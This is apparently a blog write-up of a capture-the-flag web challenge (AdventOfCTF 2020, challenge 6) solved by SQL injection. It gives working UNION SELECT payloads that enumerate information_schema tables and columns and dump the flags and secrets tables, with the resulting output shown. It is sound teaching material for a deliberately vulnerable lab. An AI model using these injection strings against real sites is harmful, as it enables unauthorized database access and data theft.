20 KiB
+++ author = "Maik de Kruif" title = "Union" subtitle = "Challenge 6 - AdventOfCTF" date = 2020-12-06T15:24:45+01:00 description = "A writeup for challenge 6 of AdventOfCTF." cover = "img/writeups/adventofctf/2020/c366d63edd4a35c9f8bea89e57401fef.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", "sql-injection", ] categories = [ "ctf", "writeups", "hacking", ] aliases = [ "challenge_6" ] +++
- Points: 600
Description
Search Santa's database of big secrets, you will probably find something useful.
Visit https://06.adventofctf.com to start the challenge.
Finding the vulnerability
When opening the challenge website, we see a search bar. The description mentions a database so the search text is probably converted to a database query. The header also mentions that only the first 5 characters of each secret is shown. Let's try searching for "flag". This returns a table with one row:
id | Description | Proof |
---|---|---|
3 | Adven-------- | FLAG ------- |
Now let's try entering a quote ('
). Hmm, now we get an empty table. Let's try some text with a quote. Now we get a MySQL error:
Error description: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''%'' at line 1
This means we can probably do some SQL injection.
SQL Injection
As we can see the result of the query on the screen, it's a little easier that last time. Firstly, let's think of what the query might be. It could be something like this:
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%search text%' OR proof LIKE '%search text%'
If this were the query, we could use a UNION SELECT
to add our own query. Let's try getting the table names. I came up with the following query:
UNION SELECT table_name, 2, 3 FROM information_schema.tables
The 2
and 3
in the SELECT
are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a '
before our query and appended the symbols for a comment (--
) at the end. This results in the following input: ' UNION SELECT table_name, 2, 3 FROM information_schema.tables --
. This way the query that will be executed becomes this:
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
As you can see the string is escaped and the result of this query will have the result of our query at the end.
When submitting it I got the following result:
{{< code language="text" title="Result" >}}
| id | Description | Proof |
| -------------------------------------------------- | ------------- | ------------ |
| 1 | Acces-------- | The a------- |
| 2 | KFC R-------- | The 1------- |
| 3 | Adven-------- | FLAG ------- |
| 4 | The d-------- | Do yo------- |
| ALL_PLUGINS | 2-------- | 3------- |
| APPLICABLE_ROLES | 2-------- | 3------- |
| CHARACTER_SETS | 2-------- | 3------- |
| CHECK_CONSTRAINTS | 2-------- | 3------- |
| COLLATIONS | 2-------- | 3------- |
| COLLATION_CHARACTER_SET_APPLICABILITY | 2-------- | 3------- |
| COLUMNS | 2-------- | 3------- |
| COLUMN_PRIVILEGES | 2-------- | 3------- |
| ENABLED_ROLES | 2-------- | 3------- |
| ENGINES | 2-------- | 3------- |
| EVENTS | 2-------- | 3------- |
| FILES | 2-------- | 3------- |
| GLOBAL_STATUS | 2-------- | 3------- |
| GLOBAL_VARIABLES | 2-------- | 3------- |
| KEY_CACHES | 2-------- | 3------- |
| KEY_COLUMN_USAGE | 2-------- | 3------- |
| PARAMETERS | 2-------- | 3------- |
| PARTITIONS | 2-------- | 3------- |
| PLUGINS | 2-------- | 3------- |
| PROCESSLIST | 2-------- | 3------- |
| PROFILING | 2-------- | 3------- |
| REFERENTIAL_CONSTRAINTS | 2-------- | 3------- |
| ROUTINES | 2-------- | 3------- |
| SCHEMATA | 2-------- | 3------- |
| SCHEMA_PRIVILEGES | 2-------- | 3------- |
| SESSION_STATUS | 2-------- | 3------- |
| SESSION_VARIABLES | 2-------- | 3------- |
| STATISTICS | 2-------- | 3------- |
| SYSTEM_VARIABLES | 2-------- | 3------- |
| TABLES | 2-------- | 3------- |
| TABLESPACES | 2-------- | 3------- |
| TABLE_CONSTRAINTS | 2-------- | 3------- |
| TABLE_PRIVILEGES | 2-------- | 3------- |
| TRIGGERS | 2-------- | 3------- |
| USER_PRIVILEGES | 2-------- | 3------- |
| VIEWS | 2-------- | 3------- |
| GEOMETRY_COLUMNS | 2-------- | 3------- |
| SPATIAL_REF_SYS | 2-------- | 3------- |
| CLIENT_STATISTICS | 2-------- | 3------- |
| INDEX_STATISTICS | 2-------- | 3------- |
| INNODB_SYS_DATAFILES | 2-------- | 3------- |
| USER_STATISTICS | 2-------- | 3------- |
| INNODB_SYS_TABLESTATS | 2-------- | 3------- |
| INNODB_LOCKS | 2-------- | 3------- |
| INNODB_MUTEXES | 2-------- | 3------- |
| INNODB_CMPMEM | 2-------- | 3------- |
| INNODB_CMP_PER_INDEX | 2-------- | 3------- |
| INNODB_CMP | 2-------- | 3------- |
| INNODB_FT_DELETED | 2-------- | 3------- |
| INNODB_CMP_RESET | 2-------- | 3------- |
| INNODB_LOCK_WAITS | 2-------- | 3------- |
| TABLE_STATISTICS | 2-------- | 3------- |
| INNODB_TABLESPACES_ENCRYPTION | 2-------- | 3------- |
| INNODB_BUFFER_PAGE_LRU | 2-------- | 3------- |
| INNODB_SYS_FIELDS | 2-------- | 3------- |
| INNODB_CMPMEM_RESET | 2-------- | 3------- |
| INNODB_SYS_COLUMNS | 2-------- | 3------- |
| INNODB_FT_INDEX_TABLE | 2-------- | 3------- |
| INNODB_CMP_PER_INDEX_RESET | 2-------- | 3------- |
| user_variables | 2-------- | 3------- |
| INNODB_FT_INDEX_CACHE | 2-------- | 3------- |
| INNODB_SYS_FOREIGN_COLS | 2-------- | 3------- |
| INNODB_FT_BEING_DELETED | 2-------- | 3------- |
| INNODB_BUFFER_POOL_STATS | 2-------- | 3------- |
| INNODB_TRX | 2-------- | 3------- |
| INNODB_SYS_FOREIGN | 2-------- | 3------- |
| INNODB_SYS_TABLES | 2-------- | 3------- |
| INNODB_FT_DEFAULT_STOPWORD | 2-------- | 3------- |
| INNODB_FT_CONFIG | 2-------- | 3------- |
| INNODB_BUFFER_PAGE | 2-------- | 3------- |
| INNODB_SYS_TABLESPACES | 2-------- | 3------- |
| INNODB_METRICS | 2-------- | 3------- |
| INNODB_SYS_INDEXES | 2-------- | 3------- |
| INNODB_SYS_VIRTUAL | 2-------- | 3------- |
| INNODB_TABLESPACES_SCRUBBING | 2-------- | 3------- |
| INNODB_SYS_SEMAPHORE_WAITS | 2-------- | 3------- |
| plugin | 2-------- | 3------- |
| db | 2-------- | 3------- |
| column_stats | 2-------- | 3------- |
| time_zone_name | 2-------- | 3------- |
| help_topic | 2-------- | 3------- |
| table_stats | 2-------- | 3------- |
| time_zone_transition | 2-------- | 3------- |
| user | 2-------- | 3------- |
| help_relation | 2-------- | 3------- |
| host | 2-------- | 3------- |
| index_stats | 2-------- | 3------- |
| slow_log | 2-------- | 3------- |
| tables_priv | 2-------- | 3------- |
| proxies_priv | 2-------- | 3------- |
| columns_priv | 2-------- | 3------- |
| event | 2-------- | 3------- |
| general_log | 2-------- | 3------- |
| innodb_index_stats | 2-------- | 3------- |
| time_zone_transition_type | 2-------- | 3------- |
| procs_priv | 2-------- | 3------- |
| time_zone_leap_second | 2-------- | 3------- |
| gtid_slave_pos | 2-------- | 3------- |
| innodb_table_stats | 2-------- | 3------- |
| time_zone | 2-------- | 3------- |
| help_keyword | 2-------- | 3------- |
| transaction_registry | 2-------- | 3------- |
| servers | 2-------- | 3------- |
| roles_mapping | 2-------- | 3------- |
| proc | 2-------- | 3------- |
| func | 2-------- | 3------- |
| help_category | 2-------- | 3------- |
| cond_instances | 2-------- | 3------- |
| events_waits_current | 2-------- | 3------- |
| events_waits_history | 2-------- | 3------- |
| events_waits_history_long | 2-------- | 3------- |
| events_waits_summary_by_host_by_event_name | 2-------- | 3------- |
| events_waits_summary_by_instance | 2-------- | 3------- |
| events_waits_summary_by_thread_by_event_name | 2-------- | 3------- |
| events_waits_summary_by_user_by_event_name | 2-------- | 3------- |
| events_waits_summary_by_account_by_event_name | 2-------- | 3------- |
| events_waits_summary_global_by_event_name | 2-------- | 3------- |
| file_instances | 2-------- | 3------- |
| file_summary_by_event_name | 2-------- | 3------- |
| file_summary_by_instance | 2-------- | 3------- |
| host_cache | 2-------- | 3------- |
| mutex_instances | 2-------- | 3------- |
| objects_summary_global_by_type | 2-------- | 3------- |
| performance_timers | 2-------- | 3------- |
| rwlock_instances | 2-------- | 3------- |
| setup_actors | 2-------- | 3------- |
| setup_consumers | 2-------- | 3------- |
| setup_instruments | 2-------- | 3------- |
| setup_objects | 2-------- | 3------- |
| setup_timers | 2-------- | 3------- |
| table_io_waits_summary_by_index_usage | 2-------- | 3------- |
| table_io_waits_summary_by_table | 2-------- | 3------- |
| table_lock_waits_summary_by_table | 2-------- | 3------- |
| threads | 2-------- | 3------- |
| events_stages_current | 2-------- | 3------- |
| events_stages_history | 2-------- | 3------- |
| events_stages_history_long | 2-------- | 3------- |
| events_stages_summary_by_thread_by_event_name | 2-------- | 3------- |
| events_stages_summary_by_account_by_event_name | 2-------- | 3------- |
| events_stages_summary_by_user_by_event_name | 2-------- | 3------- |
| events_stages_summary_by_host_by_event_name | 2-------- | 3------- |
| events_stages_summary_global_by_event_name | 2-------- | 3------- |
| events_statements_current | 2-------- | 3------- |
| events_statements_history | 2-------- | 3------- |
| events_statements_history_long | 2-------- | 3------- |
| events_statements_summary_by_thread_by_event_name | 2-------- | 3------- |
| events_statements_summary_by_account_by_event_name | 2-------- | 3------- |
| events_statements_summary_by_user_by_event_name | 2-------- | 3------- |
| events_statements_summary_by_host_by_event_name | 2-------- | 3------- |
| events_statements_summary_global_by_event_name | 2-------- | 3------- |
| events_statements_summary_by_digest | 2-------- | 3------- |
| users | 2-------- | 3------- |
| accounts | 2-------- | 3------- |
| hosts | 2-------- | 3------- |
| socket_instances | 2-------- | 3------- |
| socket_summary_by_instance | 2-------- | 3------- |
| socket_summary_by_event_name | 2-------- | 3------- |
| session_connect_attrs | 2-------- | 3------- |
| session_account_connect_attrs | 2-------- | 3------- |
| flags | 2-------- | 3------- |
| secrets | 2-------- | 3------- |
{{< /code >}}
Solution
The flags table at the bottom looks interesting. Let's grab it's contents. To get it's contents, I came up with the following query:
UNION SELECT (SELECT * FROM flags), 2, 3
This query also has to be converted to an input first. This will become ' UNION SELECT (SELECT * FROM flags), 2, 3 --
.
After submitting this input, I got the flag: NOVI{7h1s_flag_w@s_chuncky_right}
.
*Note: this only works if a table has only one column, if it has more, you have to get the columns first. See the [Getting the secrets]({{< ref "#getting-the-secrets" >}}) for more info about that.
This flag can then be submitted for the challenge.
For more information about how SQL injection works, please read my [previous post]({{< ref "challenge_5.md" >}}).
(Optional) Getting the secrets 😋
Because the secrets
table a more than one column, we need to know the column names first. We can get them with the following query:
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
Converted to an input: ' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --
.
After remove the results from the original query, we get the following:
id | Description | Proof |
---|---|---|
id | 2-------- | 3------- |
description | 2-------- | 3------- |
proof | 2-------- | 3------- |
We can then put these column names in our query:
UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets
The CONCAT()
here is to put our results into the first column as the other two column are hidden after the first five characters.
This query converts to ' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --
as the input.
After parsing the output we get:
id | Description | Proof |
---|---|---|
1 | Access codes for Area 51 | The access code is 1234 |
2 | KFC Recipe | The 10 spices are in the diary on page 658 |
3 | Advent of Code | FLAG are such a good thing to find, but this is not it. I do really love that you are playing the game! Keep it up. |
4 | The door | Do you know where that one door leads? It leads to the basement! |